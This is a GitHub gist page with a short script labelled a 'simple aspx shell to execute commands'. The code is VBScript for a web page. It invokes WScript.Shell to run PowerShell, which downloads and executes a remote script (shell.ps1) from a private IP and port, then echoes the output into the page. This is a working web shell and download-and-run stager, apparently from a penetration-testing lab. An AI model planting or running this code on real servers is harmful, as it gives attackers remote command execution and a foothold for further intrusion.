Skip to content

Instantly share code, notes, and snippets.

@Splint3r7
Created July 8, 2019 12:01
Show Gist options
  • Save Splint3r7/6a84041e8c76b8e61995a03c19f11223 to your computer and use it in GitHub Desktop.
Save Splint3r7/6a84041e8c76b8e61995a03c19f11223 to your computer and use it in GitHub Desktop.
//simple aspx shell to execute commands
<%
Set s = CreateObject("WScript.Shell")
Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.8:1667/shell.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment